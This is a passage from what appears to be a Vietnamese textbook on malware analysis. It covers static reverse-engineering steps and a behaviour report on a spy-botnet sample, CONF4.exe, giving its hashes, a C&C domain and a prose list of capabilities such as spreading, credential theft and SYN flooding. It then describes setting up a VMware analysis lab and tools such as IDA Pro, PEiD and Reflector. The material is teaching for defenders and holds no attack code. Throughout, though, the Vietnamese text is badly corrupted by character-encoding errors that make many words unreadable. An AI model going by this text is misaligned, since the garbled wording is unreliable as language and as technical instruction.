c¸n hoӴt Ľ֥ng g³ Ľ§ng kԜ hoԊc h¨nh Ľ֥ng lԊp Ľi lԊp lӴi. Vi֓c ghi log chֳ 

yԒu do c§c c¹ng cֱ monitor chuy°n dֱng ֫ tr°n thֽc hi֓n. 

2.2.4.2 Ph©n t²ch m« d֗ch ngҼ֯c  (Static analysis) 

Sau khi ph©n t²ch m« Ľ֥c hӴi bԄng c§ch quan s§t h¨nh vi ta sԐ thu ĽҼ֯c 

m֥t s֝ th¹ng tin, nhҼng nhҼ vԀy chҼa Ľֳ, ta vӾn cӺn d֗ch ngҼ֯c m« Ľ֥c 

hӴi ĽԜ xem chi tiԒt r» hҺn li֓u m« Ľ֥c  hӴi c¸n l¨m g³ nֻa v¨ l¨m v¨o 

th֩i ĽiԜm n¨o. 

    Do m« Ľ֥c hӴi khi thu ĽҼ֯c l¨ ֫ dӴng thֽc thi kh¹ng c· m« 

ngu֟n Ľi k¯m theo ĽԜ ph©n t²ch n°n thҼ֩ng phӶi d֗ch ngҼ֯c m« Ľ֥c hӴi 

Ľ· vԚ m« assembly ĽԜ ph©n t²ch. ThҼ֩ng ֫ bҼ֧c n¨y ta sԐ l¨m nhֻng 

vi֓c sau: 

- Xem m« Ľ֥c hӴi ĽҼ֯c viԒt bԄng ng¹n ngֻ g³? 

- C· sֹ dֱng c§c packer ĽԜ n®n lӴi hay c§c protector (chҼҺng tr³nh 

bӶo v֓)nào không? 

- Khi biԒt m« Ľ֥c hӴi ĽҼ֯c pack bԄng tr³nh n¨o th³ c· thԜ d½ng tr³nh 

Ľ· unpack ra, tҼҺng tֽ cȈng unprotector file m« Ľ֥c hӴi. 

- D½ng c§c c¹ng phֱ ph½ h֯p v֧i c¹ng cֱ viԒt m« Ľ֥c hӴi ĽԜ 

decompile, disassemble, debugging...  

- ņ֙c v¨ ph©n t²ch m« code assembly ĽԜ t³m th°m hoӴt Ľ֥ng cֳa m« 

Ľ֥c hӴi.  
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- Trace code , debug m« Ľ֥c hӴi khi vi֓c d֗ch ngҼ֯c t֛ ra kh· khŁn 

hoԊc thiԒu hi֓u quӶ. HoԊc khi cӺn l¨m thԀt r» m֥t ĽoӴn m« ngҼ֩i ta 

phӶi debug m« Ľ֥c hӴi. C· nghǫa l¨ sԐ lӺn tַng l֓nh nh֛ cֳa m« Ľ֥c 

hӴi  ĽԜ xem ch²nh x§c l¨ m« Ľ֥c hӴi Ľ«  l¨m nhֻng g³. M« Ľ֥c hӴi 

thҼ֩ng c· c§c k׃ thuԀt ch֝ng d֗ch ngҼ֯c th³ cȈng sԐ c· c§c k׃ 

thuԀnt ch֝ng debug (anti debug) v¨ ngҼ֩i ph©n t²ch phӶi vҼ֯t qua 

nó (anti anti-debug). 

3.2.4 ViԒt báo cáo t֡ ng kԒt hành vi hoӴt Ľn֥g m« Ľc֥ 

Sau khi ph©n t²ch xong mӾu m« Ľ֥c, ngҼ֩i ph©n t²ch cӺn t֡ng h֯p th¨nh 

m֥t b§o c§o h¨nh vi hoӴt Ľ֥ng cֳa m« Ľ֥c. DҼ֧i Ľ©y l¨ m֥t b§o c§o 

t֡ng h֯p lӴi kԒt quӶ sau khi ph©n t²ch.  

I. CONF4.exe 

SHA256:1c09b262b940d22c7f0b6956aee0949a640db66616bf70e4cdf6b

1e7eae06828 

SHA1: fd24495048ce85e39174b0f9f6fc5597137b84d5 

MD5:  ceea769e2b3dfc45ce8f0075541a5939 

File size: 112.7 KB( 115376 bytes) 

File name: conf4.exe 

File type: Win32EXE 

Code bԄng Borland Delphi( 2.0-7.0) và VisualC++ 6.0 

II. Thông tin chung 

 - File l¨ m֥t Spy Bot Net Ľ« b֗ 22/44 tr³nh di֓t virus ph§t hi֓n theo 

virus total x§c Ľ֗nh. 

III. C§c hoӴt Ľ֥ng cֱ thԜ. 

 KiԜm tra c§c chҼҺng tr³nh thֽc hi֓n vi֓c ph©n t²ch nhҼ wireshark,é v¨ 

h¨m kiԜm tra sandbox, vmwareé 

 

Hình 3-20: KiԜm tra m¹i trҼ֩ng ph©n t²ch 
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 Thֽc hi֓n vi֓c ĽŁng k², tӴo thread tֽ Ľ֥ng copy file, d½ng c§c API 

CopyFileA copy file virus sang, tӴo m֧i c§c file desktop.ini ĽŁng k² c§c 

khóa autorun: 

 

Hình 3-21:   TӴo autorun 

 TӴo c§c thread v֧i h¨m ch²nh cֳa Bot, ĽԜ duy tr³ nhԀn l֓nh bot tַ xa tַ 

C&C server: New.gov.me. 

 C§c chֵc nŁng cֳa Bot t³m thӸy: 

 - Tֽ hֳy 

 - Xóa Registry key 

 - Tֽ tӴo file.bat remove c§c file 

 - Download c§c file tֽ cԀp nhԀt 

 - L©y lan file crack.exe v¨o tӸt cӶ c§c file. rar tr°n m§y. 

 

Hình 3-22:  Lây lan file crack vào các  file .rar 



124 

 

 - Spam email ( gֹi file zip ), Spam lӸy th¹ng tin c§c loӴi t¨i khoӶn 

yahoo, MSN, Spype 

 -  ņҼa file l©y nhi֑m v¨o mӴng P2P torrent 

 

Hình 3-23: L©y nhi֑m v¨o mӴng P2P torrent 

 - TӸn c¹ng Dos c§c mֱc ti°u ch֕ Ľ֗nh ( syn flood) 

 - T³m giӶ m« h֓ th֝ng bӶo v֓ Pstore cֳa Windows 

  3.2.5 Xֹ  lý mӾu m« Ľc֥ 

T³m signature cֳa m« Ľ֥c hӴi v¨ phҼҺng ph§p di֓t m« Ľ֥c hӴi 

Trong bҼ֧c n¨y thֽc hi֓n:  

Å T³m ĽԊc ĽiԜm nhԀn di֓n m« Ľ֥c hӴi trong h֓ th֝ng sau khi ph©n t²ch 

(v² dֱ tӴi offset n¨o Ľ· chֵa chu֣i string n¨o, hoԊc gi§ tr֗ MD5 cֳa 

fileé). 

Å ņԚ ra c§c phҼҺng §n khԂc phֱc h֓ th֝ng b֗ nhi֑m m« Ľ֥c hӴi. 

Å T³m phҼҺng §n di֓t n·, nԒu nԂm ĽҼ֯c h¨nh v³ cֳa n· c· thԜ tֽ viԒt c§c 

script x·a m« Ľ֥c hӴi Ľ· trong h֓ th֝ng. 

 

3.3 Câu h֛ i và bài tԀp 
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ChҼҺng 4   

CÁC K  ׂTHUӿT PHĄN TĉCH TǪNH 

Trong c§c chҼҺng trҼ֧c gi§o tr³nh Ľ« tr³nh b¨y quy tr³nh ph©n t²ch m« 

Ľ֥c, trong quy tr³nh ph©n t²ch c· m¹ tӶ c§c phҼҺng ph§p sֹ dֱng ĽԜ 

phân tích mã. ChҼҺng 4 n¨y sԐ gi¼p sinh vi°n hiԜu r» hҺn phҼҺng ph§p 

phân t²ch tǫnh. TrҼ֧c khi ph©n t²ch th³ sinh vi°n cӺn c§ch x©y dֽng m¹i 

trҼ֩ng h֣ tr֯ c¹ng vi֓c ph©n t²ch. 

4.1 Xây dֽ ng m¹i trҼn֩g phân tích tǫnh 

 X©y dֽng m¹i trҼ֩ng ph©n t²ch m« Ľ֥c l¨ c¹ng vi֓c quan tr֙ng. NhҼ 

Ľ« biԒt m« Ľ֥c lu¹n tiԚm Ӽn c§c h¨nh vi nghi ng֩ v¨ rӸt d֑ l©y lan. Vi֓c 

x©y dֽng m¹i trҼ֩ng ph©n t²ch m« ph½ h֯p v¨ an to¨n l¨ vi֓c cӺn thiԒt. 

 ņԜ tӴo ra ĽҼ֯c m¹i trҼ֩ng an to¨n trong khi ph©n t²ch m« Ľ֥c hӴi, trong 

phҼҺng ph§p ph©n t²ch tǫnh ĽԜ ph©n t²ch m« Ľ֥c hӴi ngҼ֩i ta d½ng 2 

cách: 

- X©y dֽng  môi trҼ֩ng Ӷo ĽԜ ph©n t²ch m« Ľ֥c. 

- X©y dֽng m¹i trҼ֩ng thԀt ĽԜ ph©n t²ch m« Ľ֥c. 

4.1.1 Xây dֽ ng m¹i trҼn֩g Ӷo. 

 Vi֓c x©y dֽng m¹i trҼ֩ng Ӷo ĽӶm bӶo cho c§c loӴi m« Ľ֥c hӴi kh¹ng 

ph§ hoӴi ĽҼ֯c h֓ th֝ng m§y t²nh thԀt. C§c phӺn mԚm ĽԜ x©y dֽng môi 

trҼ֩ng Ӷo nhҼ Vmware workstation, virtualboxé. ֪ Ľ©y sԐ lֽa ch֙n x©y 

dֽng m¹i trҼ֩ng phân tích v֧ i VM workstation. 

PhҼҺng §n  x©y dֽng nhҼ sau: 

 - M֥t  m§y t²nh thԀt c¨i Windows 7 

 - Tr°n Win 7 c¨i ĽԊt m֥t m§y Ӷo Vmware, trong m§y Ӷo c¨i ĽԊt 

Windows XP( m¹i trҼ֩ng ĽԜ chӴy malware v¨ thֽc hi֓n ph©n t²ch). 

 - C¨i ĽԊt mӴng ph½ h֯p v֧i vi֓c ph©n t²ch. 

 - C¨i c§c tool cӺn thiԒt phֱc vֱ vi֓c ph©n t²ch 

 Thֽc hi֓n vi֓c c¨i ĽԊt Vmware sao cho memory ( 515 mb) và Hard 

Disk ( 10Gb), sau khi thֽc hi֓n c¨i ĽԊt xong, t½y thu֥c v¨o tַng loӴi m« 

Ľ֥c hӴi ĽԜ c¨i cӸu h³nh mӴng. 
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Hình 4-1:  Ch֙n cӸu h³nh mӴng 

 Sau khi c¨i ĽԊt xong, Vmware sԐ tӴo n°n 2 card mӴng Vmware 1 v¨ 

Vmware 8 tr°n m§y thԀt v¨ m§y thԀt c· thԜ sֹ dֱng 2 card mӴng n¨y ĽԜ 

kԒt n֝i v֧i c§c m§y Ӷo. khi lֽa chon cӸu h³nh mӴng cho m§y Ӷo ta c· thԜ 

ch֙n m֥t trong c§c chԒ Ľ֥ sau: 

Bridged networking: Card mӴng cֳa m§y Ӷo sԐ ĽҼ֯c gԂn trֽc tiԒp v֧i 

card mӴng cֳa m§y thԀt (sֹ dֱng switch Ӷo VMnet0). L¼c n¨y, m§y Ӷo 

sԐ Ľ·ng vai tr¸ nhҼ m֥t m§y trong mӴng thԀt, c· thԜ nhԀn DHCP tַ 

mӴng ngo¨i, hoԊc ĽԊt IP tǫnh c½ng dӶi v֧i mӴng ngo¨i ĽԜ giao tiԒp v֧i 

c§c m§y ngo¨i mӴng hoԊc l°n Internet. 

 NAT: M§y Ӷo ĽҼ֯c cӸu h³nh NAT sԐ sֹ dֱng IP cֳa m§y thԀt ĽԜ giao 

tiԒp v֧i mӴng ngo¨i. C§c m§y Ӷo ĽҼ֯c cӸp Ľ֗a ch֕ IP nh֩ m֥t DHCP Ӷo 

cֳa VMware. L¼c n¨y, c§c m§y Ӷo sԐ kԒt n֝i v֧i m§y thԀt qua switch Ӷo 

VMnet8, v¨ m§y thԀt sԐ Ľ·ng vai tr¸ NAT server cho c§c m§y Ӷo. 

 Host-only Networking: Khi cӸu h³nh m§y Ӷo sֹ dֱng host-only 

networking, m§y Ӷo sԐ ĽҼ֯c kԒt n֝i v֧i m§y thԀt trong m֥t mӴng ri°ng 

th¹ng qua Switch Ӷo VMnet1. ņ֗a ch֕ cֳa m§y Ӷo v¨ m§y thԀt trong 

mӴng host-only c· thԜ ĽҼ֯c cӸp b֫i  DHCP Ӷo gԂn liԚn v֧i Switch Ӷo 

Vmnet1 hoԊc c· thԜ ĽԊt Ľ֗a ch֕ IP tǫnh c½ng dӶi ĽԜ kԒt n֝i v֧i nhau. Ta 

sԐ chֳ yԒu d½ng loӴi n¨y ĽԜ cӸu h³nh khi ph©n t²ch  
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Hình 4-2:  Host- only Networking 

 Sau khi cӸu h³nh mӴng xong, ta n°n tӴo take snapshot lӴi m֥t bӶng sӴch. 

Snapshot gi¼p ch¼ng ta restore lӴi trӴng th§i l¨m vi֓c m֧i nhӸt. ņԜ sau 

m֣i lӺn ph©n t²ch ta lӴi c· 1 m֥t m§y m֧i m¨ kh¹ng cӺn phӶi Ľi c¨i lӴi. 

Ta ch֕ cӺn v¨o snapshot, chӴy lӴi snapshot sӴch ban ĽӺu khi m¨ chҼa cho 

bӸt k³ v¨o ph©n t²ch. 

  

Hình 4-3:  TӴo snapshot 

 Sau khi c¨i xong Vmware, ta c¨i h֓ ĽiԚu h¨nh Xp l°n Ľ·, c¨i ĽԊt c§c 

c¹ng cֱ l°n ĽԜ gi§m s§t sֽ thay Ľ֡i v¨ t§c Ľ֥ng cֳa c§c chҼҺng tr³nh n°n 

h֓ th֝ng Ľang thֽc thi. 

M֥t s֝ c¹ng cֱ cӺn thiԒt cho m¹i trҼ֩ng ph©n t²ch tǫnh nhҼ sau: 
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4.1.1 Công cֱ  Peid 

 L¨ c¹ng cֱ ph§t hi֓n xem file ĽҼ֯c viԒt bԄng ng¹n ngֻ g³. Ngo¨i ra 

Ľ©y l¨ m֥t c¹ng cֱ cӺn thiԒt xem file c· b֗ nén  (pack) hay kh¹ng? NԒu 

b֗ n®n (pack)  th³ ngҼ֩i ph©n t²ch  cӺn phӶi t³m c§ch giӶi n®n (unpack 

file)  ph½ h֯p. 

  

Hình 4-4: PhӺn mԚm Peid 

NhҼ trong h³nh c· thԜ thӸy chҼҺng tr³nh Peid Ľ« nhԀn ra m« ngu֟n 

chҼҺng tr³nh Keylog1.exe viԒt bԄng Borland Delphi 6.0-7.0 

4.1.2 Dependency Walker 

 http://www.dependencywalker.com/ 

 L¨ m֥t c¹ng cֱ ĽԜ t³m c§c file Dll v¨ h¨m import cֳa m« Ľ֥c hӴi. 

ChҼҺng tr³nh ĽҼ֯c sֹ dֱng tr°n cӶ x86, x64 ĽҼ֯c x©y dֽng theo m֥t sҺ 

Ľ֟ ph©n cӸp cֳa tӸt cӶ c§c file Dll sԐ ĽҼ֯c nӴp v¨o b֥ nh֧ khi phӺn mԚm 

Ľ֥c hӴi ĽҼ֯c chӴy.  

  

http://www.dependencywalker.com/
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Hình 4-5: Dependency Walker 

 L¨ c¹ng cֱ sֹ dֱng thֽc hi֓n vi֓c unpack, sau khi dump debugged 

process ta sԐ c· 1 file (.exe),ngҼ֩i ph©n t²ch cӺn phӶi sֹ dֱng c¹ng cֱ 

n¨y ĽԜ fix lӴi bӶng IAT bԄng tay hoԊc tֽ Ľ֥ng fix. 

 

Hình 4-6  ImportREC 

4.1.3 Công cֱ   PE  

 ņ©y l¨ c¹ng cֱ c· ĽӺy Ľֳ chֵc nŁng ĽԜ l¨m vi֓c v֧i file PE/PE+( 64 

bit). Bao g֟m Task Viewer( dump full, process dumpé), PE Sniffer(t³m 

tr³nh bi°n d֗ch, packer..) , PE Editor( xem v¨ ch֕nh sֹa c§c bӶng import 
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export, sֹa CRC...), PE Rebuilder( Thay Ľ֡i Ľ֗a ch֕ cҺ s֫ PE cֳa m֥t 

tԀp tin..) 

  

Hình 4-7  PE Tools 

4.1.4 Công cֱ   HexEditor  

 Hex Editor l¨ b֥ ho¨n ch֕nh c§c c¹ng cֱ ph§t triԜn h֓ thԀp lֱc ph©n 

cho Microsoft windows. N· t²ch h֯p ti°n tiԒn ch֕nh sֹa v¨ giӶi th²ch dֻ 

li֓u nh֗ ph©n, v֧i c§ch nh³n trֽc quan, xֹ l² linh hoӴt m֥t tiԒn tr³nh. V֧i 

hex editor ngҼ֩i ph©n t²ch c· thԜ ch֕nh sֹa, cԂt, sao ch®p, d§n, ch¯n, x·a 

dֻ li֓u nh֗ ph©n. 

 

Hình 4-8  HexEditor 

4.1.5 IDA pro  

 4.1.5.1 Giαi thiΜu chung: 

IDA Pro l¨ c¹ng cֱ ĽҼ֯c sֹ dֱng r֥ng r«i nhӸt ĽԜ ph©n t²ch phӺn mԚm 

Ľ֥c hӴi. IDA pro gi¼p d֗ch ngҼ֯c c§c m« Ľ֥c hӴi vԚ c§c ĽoӴn m« 
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assembly. N· l¨ m֥t c¹ng cֱ d֑ Ľ֙c, trֽc quan v¨ ti֓n dֱng v֧i nhiԚu 

chֵc nŁng nhҼng cȈng ch²nh v³ vԀy m¨ vi֓c sֹ dֱng IDA Pro cȈng kh§ 

phֵc tӴp. Ľi k¯m v֧i IDA ta c· thԜ c¨i ĽԊt th°m nhiԚu plugin nhҼ Bindiff, 

Hex-Rays Decompiler. ņ©y l¨ hai plugin h֣ tr֯ ĽԂc lֽc cho IDA giúp so 

s§nh c§c biԒn thԜ cֳa phӺn mԚm Ľ֥c hӴi, x§c Ľ֗nh c§c chֵc nŁng m֧i 

trong biԒn thԜ Ľ· v¨ cho biԒt nԒu c· bӸt kȢ chֵc nŁng tҼҺng tֽ b֗ mӸt Ľi. 

       

 

Hình 4-9:  IDA pro 

 C· nhֻng loӴi m« Ľ֥c hӴi kh¹ng debug hay ph©n t²ch ĽҼ֯c b³nh thҼ֩ng 

mà phӶi sֹ dֱng c§c chҼҺng tr³nh Decomplier d¨nh ri°n cho ch¼ng. V³ 

vԀy ta sԐ c¨i ĽԊt th°m m֥t s֝ c¹ng cֱ phֱc vֱ cho vi֓c ph©n t²ch nhҼ sau. 

 4.1.5.2 Các chοc nŁng c̭ bnͩ 

Sau khi ngҼ֩i ph©n t²ch ĽҼa m֥t file cӺn ph©n t²ch v¨o,  chҼҺng tr³nh sԐ 

hi֓n l°n m֥t h֥p thoӴi b°n trong Ľ· c· chֵa Ľ֗nh dӴng file v¨ ch֙n 

PE( pe.ldw) ĽԜ l¨m vi֓c. Trong Option l¨ c§c t½y ch֙n ĽԜ cho IDA tֽ 

ph©n t²ch file v¨o cho ra hiԜn th֗ ֫ cֹa s֡ ch²nh. Sau Ľ· nhӸn OK ĽԜ v¨o 

giao di֓n ch²nh ĽԜ l¨m vi֓c. 

 Giao di֓n l¨ vi֓c cֳa IDA g֟m c· 7 cֹa s֡: 
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Hình 4-10 Giao di֓n l¨m vi֓c IDA pro 

 (1) Toobar  chֵa c§c thanh c¹ng cֱ sֹ dֱng trong hoӴt Ľ֥ng cֳa IDA, 

ĽԜ thֽc hi֓n c§c chֵc nŁng ta nhӸp v¨o c§c biԜu tҼ֯ng tr°n Ľ·. 

 (2)  Navigation band nҺi  c· thԜ v¨o v¨ ra kh֛i Ľ֗a ch֕ bԄng c§ch nhӸp 

chu֥t di chuyԜn bԄng c§ch ĽiԚu ch֕nh theo hҼ֧ng mȈi t°n m¨u v¨ng. 

M֣i m¨u sԂc cֳa cֹa s֡ thԜ hi֓n v½ng dֻ li֓u m¨ ta l¨m vi֓c. 

 (3) Tabs c· chֵa cֹa s֡ nh֛ nhֻng th¹ng tin chi tiԒt vԚ file Ľ֝i tҼ֯ng, 

vi֓c  ph©n t²ch phֱ thu֥c v¨o nhֻng tabs n¨y. G֟m c· IDA View-A, 

Hex View-A, Struct, Enums, Imports,Exports, String. 

 (4)Disassembly  hiԜn th֗ dֻ li֓u ĽԜ  ph©n t²ch theo 2 loӴi text hoԊc 

graph 

 (5)Graph overview m֥t Ľ֟ th֗ thu nh֛ m¹ tӶ cӸu tr¼c cҺ bӶn cֳa dֻ li֓u. 

M¨n h³nh chֻ nhԀt chӸm nh֛ cho thӸy m¨n h³nh hiԜn th֗ v֗ tr² hi֓n tӴi 

Ľang l¨m vi֓c. 
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 (6) Output window  nhԀn ĽҼ֯c c§c th¹ng tin, tin nhԂn tַ IDA sau khi 

load file xong. 

 (7) Function window Ľ©y l¨ cֹa s֡ hi֓n th֗ tӸt cӶ c§c h¨m API c§c Ľ֗a 

ch֕ t³m thӸy trong qu§ tr³nh ph©n t²ch. 

 IDA Text view màn h³nh hiԜn th֗ kiԜu text tr³nh b¨y to¨n b֥ vԚ c¹ng 

vi֓c disassembler cȈng nhҼ cung cӸp Ľ֗a ch֕ ĽԜ xem c§c dֻ li֓u thu֥c 

vùng nào. 

     

Hình 4-11:  Cֹa s֡ IDA view 

 (1)  C§c mȈi t°n thԜ hi֓n nҺi nhӶy ĽԒn trong kh֝i ĽoӴn m« v¨ nhԀn 

ra c§c v¸ng lԊp nh֛. 

(2)  Hi֓n ra c§c Ľ֗a ch֕ Virtual Address 

(3)  C§c v֗ tr² ĽҼ֯c so s§nh ĽԜ Ľ§nh dӸu nhӶy hoԊc c§c biԒn tham 

chiԒu trong stack 

(4) Code cֳa chҼҺng tr³nh disassembled 

(5)  Code tham chiԒu hiԜn th֗ c§c ĽiԜm ĽԒn khi truy cԀp, nhӸp Ľ¼p 

v¨o sԐ ĽҼa ta ĽԒn ĽoӴn m«, hoԊc h¨m ĽҼ֯c g֙i hoԊc nhӶy l°n ph²a tr°n. 

HoԊc ĽԜ nhӶy ĽԒn v֗ tr² tham chiԒu kh§c ta nhӸp chu֥t phӶi->jump to 

cross reference. 
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 Fucntion Window hiԜn th֗ c§c h¨m ĽҼ֯c nhԀn Ľ֗nh b֫i IDA 

 

Hình 4-12:  Cֹa s֡ Function 

 BԄng c§ch nhӸp chu֥t hoԊc enter l¨ ta c· thԜ di chuyԜn Ľc ĽԒn h¨m Ľ· 

trong cֹa s֡ ch²nh disassembly. Ta nh³n thӸy b°n trong function window 

g֟m c· function name, segment, start, length, R( return h¨m trӶ vԚ khi 

g֙i),F ( far),L (libarary), S (static), B( BP tham chiԒu ĽԒn biԒn cֱc b֥),T 

( type thông tin). 

 String Window tӴi cֹa s֡ n¨y hiԜn th֗ ra th¹ng tin tӸt cӶ c§c chu֣i xuӸt 

hi֓n trong file thֽc thi. Cֹa s֡ n¨y hi֓n th֗ chi tiԒt vԚ Ľ֗a ch֕, Ľ֥ d¨i, 

kiԜu, t°n chu֣i Ľ· l¨ g³. Ta c· thԜ truy cԀp ĽԒn c§c chu֣i n¨y bԄng c§ch 

nhӸn Ľ¼p chu֥t n· sԐ di chuyԜn ĽԒn cֹa s֡ Disassembly ĽԜ ch¼ng ta 

thֽc hi֓n. 

 Import window cֹa s֡ hiԜn th֗ chi tiԒt Ľ֗a ch֕, t°n h¨m ĽҼ֯c import v¨ 

thҼ vi֓n chֵa h¨m import Ľ·. ņ©y l¨ m֥t cֹa s֡ rӸt quan tr֙ng b֫i ta c· 

thԜ thӸy ĽҼ֯c chҼҺng tr³nh sֹ dֱng c§c DLL kh§c nhau v¨ chֵc nŁng 

cֳa c§c h¨m ĽҼ֯c g֙i nhҼ Ľ֙c, viԒt hoԊc registry .... TӴi Ľ©y ta c· thԜ 

thԀp ĽҼ֯c c§c th¹ng tin vԚ c§c h¨m import m¨ m« Ľ֥c hӴi hay d½ng ĽԜ 

ch¯n v¨o v֧i mֱc Ľ²ch xӸu nhҼ lӸy cԂp th¹ng tin, theo d»i é 

  

Hình 4-13:  Cֹa s֡ Import 

 Export window l¨ cֹa s֡ li֓t k° c§c entrypoint cֳa tԀp tin. Trong cֹa s֡ 

n¨y g֟m c· li֓t k° theo t°n, Ľ֗a ch֕ Ӷo v¨ thֵ tֽ( nԒu c·). ņ֝i v֧i c§c file 

thֽc thi export window cӺn phӶi chֵa ²t nhӸt m֥t entry point Ľ©y l¨ Ľ֗a 

ch֕ ĽiԜm ĽӺu v¨o ĽӺu ti°n trong l¼c thֽc thi. 



135 

 

 Cross-references cֹa s֡ hi֓n thi tӸt cӶ c§c tham chiԒu , l¨ tӸt cӶ c§c 

ĽiԜm code nҺi m¨ h¨m ĽҼ֯c g֙i. ņԜ m֫ ĽҼ֯c cֹa s֡ n¨y ta ch֕ nhӸn v¨o 

header cֳa h¨m, k²ch chu֥t phӶi ch֙n jump to reference xref hoԊc ch֙n 

tr°n thanh c¹ng cֱ view-> Open subview-> cross reference. 

  

  Hình 4-14:  Cֹa s֡ tham chiԒu Cross- references 

 Name Window l¨ cֹa s֡ cung cӸp danh s§ch c§c t°n ĽҼ֯c sֹ dֱng, t°n 

c· thԜ ĽҼ֯c sԂp xԒp theo bӶng chֻ c§i hoԊc ĽԜ virtual address. HiԜn th֗ 

t°n c· c§c chֻ c§i in hoa kh§c nhau A( string data), D( data), C( Name 

code), I( import name), L (library fuction), F( regular function). BԄng 

vi֓c nhӸp Ľ¼p chu֥t v¨o t°n bӸt k³ ta mu֝n t³m, chҼҺng tr³nh sԐ chuyԜn 

ĽԒn v֗ tr² Ľ· trong cֹa s֡ ch²nh hiԜn th֗ ĽԜ l¨m vi֓c. Ch֙n view-> option 

subview-> name. 

 Function-Calls cֹa s֡ thԜ hi֓n ĽҼ֯c 2 chֵc nŁng caller v¨ called 

function. X§c Ľ֗nh ĽҼ֯c c§c h¨m ĽҼ֯c g֙i xung quanh Ľ· l¨ g³. View-> 

option subview-> function call. 

  

Hình 4-15: Cֹa s֡ Function calls 

 C¸n rӸt nhiԚu nhֻng cֹa s֡ kh§c v֧i c§c chֵc nŁng kh§c nֻa, nhֻng 

cֹa s֡ gi֧i thi֓u b°n tr°n l¨ nhֻng cֹa s֡ quan tr֙ng nhӸt trong vi֓c l¨m 

vi֓c v֧i c¹ng cֱ IDA pro. 

 Menu Jump 
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Hình4-16: Menu Jump 

 Jump to address(G) nhiԚu l¼c ta sԐ biԒt ĽҼ֯c Ľ֗a ch֕ ch²nh x§c m¨ ta 

mu֝n ĽԒn ĽԜ thuԀn ti֓n cho vi֓c n¨y IDA cȈng tӴo ra 1 cֹa s֡ ĽԜ nhԀp 

v¨o Ľ֗a ch֕ mu֝n jump.  

 Jump to entrey point( ctrl-E) hi֓n l°n v֗ tr² c§c entry point ban ĽӺu ch֕ 

cӺn nhӸp v¨o sԐ ĽҼa ta ĽԒn v֗ tr² l¨m vi֓c ban ĽӺu cֳa n·. 

 Sֹ dֱng forward/ backward arrows bԄng c§ch sֹ dֱng n¼t jump tr°n 

thanh công cֱ ch֙n jump to previous( Esc) hoԊc jump to next( ctrl-enter), 

hoԊc sֹ dֱng n¼t tr°n m¨n h³nh l¨m vi֓c. 

 

 Menu Search v֧i c§c t½y ch֙n t³m kiԒm: 
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Hình 4-17: Menu Search 

 Next code sԐ Ľi t³m ĽԒn v½ng code tiԒp theo(v½ng n¨y Ľ« ĽҼ֯c Ľ֗nh 

nghǫa, Disasm. 

 Next data l¨ sԐ Ľi ĽԒn v½ng chֵa dֻ li֓u tiԒp theo. 

 Next explored sԐ Ľi dԒn v½ng dֻ li֓u tiԒp theo ĽҼ֯c Ľ֗nh nghǫa, sֹ 

dֱng th¨nh struct. 

 Next unexplored th³ ngҼ֯c v֧i next explored. 

 Immediate valua sԐ hi֓n ra cֹa s֡ t³m kiԒm c§ gi§ tr֗ trong c§c struct, 

data. 

 Text t³m kiԒm c§c chu֣i c· kĨ tֽ cֱ thԜ trong tӸt cӶ c§c h¨m, dֻ li֓u. 



138 

 

                   

Hình 4-18: T³m kiԒm chu֣i cֱ thԜ 

 Menu View  

  

Hình 4-19: Menu View 

 V֧i open subview l¨ m֫ c§c cֹa s֡ view con tr°n c§c tab v֧i: 

DisAssemBly, hexdump, export import é l¨ c§c cֹa s֡ Ľ« c· sԈn. C· 

thԜ m֫ th°m c§c cֹa s֝ nhҼ: 

 PseudoCode l¨ cֹa s֡ chֵa m« C ĽҼ֯c t§i tӴo lӴi cֳa function hi֓n tӴi 

cֳa s֡ Disaseembly. 

 Segmen,SegmenRegister chֵa c§c th¹ng tin vԚ c§c segmen, c§c thanh 

gi ĽoӴn, c§c v½ng dֻ li֓u. 

 Signature,Type Lib chֵa c§c chֻ kĨ ĽԜ x§c Ľ֗nh c§c chҼҺng tr³nh d½ng 

thҼ vi֓n g³, x©y dֽng tr°n ng¹n ngֻ, cҺ s֫ g³. 



139 

 

 TiԒp theo  sԐ l¨ menu debuger chֵa c§c t½y ch֙n li֓n quan ĽԒn debuger 

gԂn k¯m theo IDA, nhҼng ta tӴm th֩i kh¹ng x®t v³ c§c debuger n¨y kh§ 

phֵc tӴp, ta sԐ t³m hiԜu debuger ĽҺn giӶn hҺn l¨ OllyDebuger. 

 Menu Options  

 Menu n¨y chֵa c§c t½y ch֙n vԚ complier: 

 

Hình 4-20: Cֹa s֡ t½y ch֙n vԚ complier 

 Disasembly cho ph½ h֯p v֧i c§c tr³nh bi°n d֗ch 

 T½y ch֙n string style ch֙n c§c kiԜu string t½y theo tr³nh bi°n d֗ch, kiԜu 

dֻ li֓u. 

 Ngo¨i ra c¸n rӸt nhiԚu c§c t½y ch֙n li°n quan dԒn c§ch dԊt t°n c§ch 

hiԜn th֗ biԜu Ľ֟, ch¼ th²ché 

 Menu Edit  

 Chֵa c§c t½y ch֙n: 

  Code ĽԜ Ľ֗nh nghǫa m֥t v½ng dֻ li֓u bytecode th¨nh AsmCode. 

 Data ĽԜ Ľ֗ch nghǫa m֥t v½ng dֻ li֓u tַ AsmCode th¨nh c§c bytecode. 

 String sԐ Ľ֗nh nghǫa lӴi kiԜu cֳa c§c string. 
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Hình 4-21: Menu Edit 

 V¨ nhiԚu t½y ch֙n kh§c li°n quan ĽԒn vi֓c ch֕nh sֹa c§c 

segments,struct, functioné  

 NhҼng quan tr֙ng nhӸt l¨ Plugin nҺi chֵa c§c Pluign m¨ ta cài thêm 

vào. 

 ņ§ng ch¼ Ĩ nhӸt l¨ Plugin HexRays Decomplier v֧i ph²m tԂt là  F5 sԐ 

d֗ch m֥t ĽoӴn Assembly th¨nh m֥t ĽoӴn C. 

 Plugin BinDiff cȈng l¨ M֥t plugin rӸt quan tr֙ng cho ph®p ta so s§nh 

c֫ s֫ dֻ li֓u hi֓n tӴi v֧i m֥t cҺ s֫ dֻ li֓u khác. Ch֕  ra c§c function 

tҼҺng tֽ, gi֝ng nhaué 

 

4.1.6 Công cֱ   Reflector 

 ņ֝i v֧i nhֻng loӴi ĽҼ֯c viԒt tr°n nԚn .NET cȈng c· c§c c¹ng cֱ 

Decomplier ri°ng cho n· nhҼ  Reflector, c¹ng cֱ n¨y cho ph®p ta d֑ 

d¨ng quan s§t, t³m kiԒm, bi°n d֗ch ngҼ֯c chҼҺng tr³nh viԒt tr°n 

nԚn .NET tr֫ vԚ m« ngu֟n C#, VB, C++, Delphi, IL, F#, Oxygeneé 

 Link download : http://shop.reflector.net/download 

http://shop.reflector.net/download
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Hình 4-22: Giao di֓n phӺn mԚm Reflector 

4.1.7  Công cֱ   VB Decomplier 

